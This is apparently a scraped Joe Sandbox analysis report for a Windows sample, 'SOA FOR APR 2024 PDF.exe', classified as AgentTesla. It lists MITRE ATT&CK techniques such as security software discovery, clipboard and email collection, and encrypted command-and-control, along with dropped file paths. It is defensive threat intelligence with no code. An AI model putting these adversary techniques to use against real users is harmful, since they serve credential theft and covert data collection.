Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SOA FOR APR 2024 PDF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BjTxJte.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SOA FOR APR 2024 PDF.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\eeBIYZL.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ibc5ldv.n1m.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3y3jasax.ltn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dmva4iqf.d3n.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dr0amdqh.h0i.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqn0tmik.0o2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1hmvqm3.j5f.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njl2nzqb.hxd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxgopani.ari.ps1

Windows Analysis Report
SOA FOR APR 2024 PDF.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre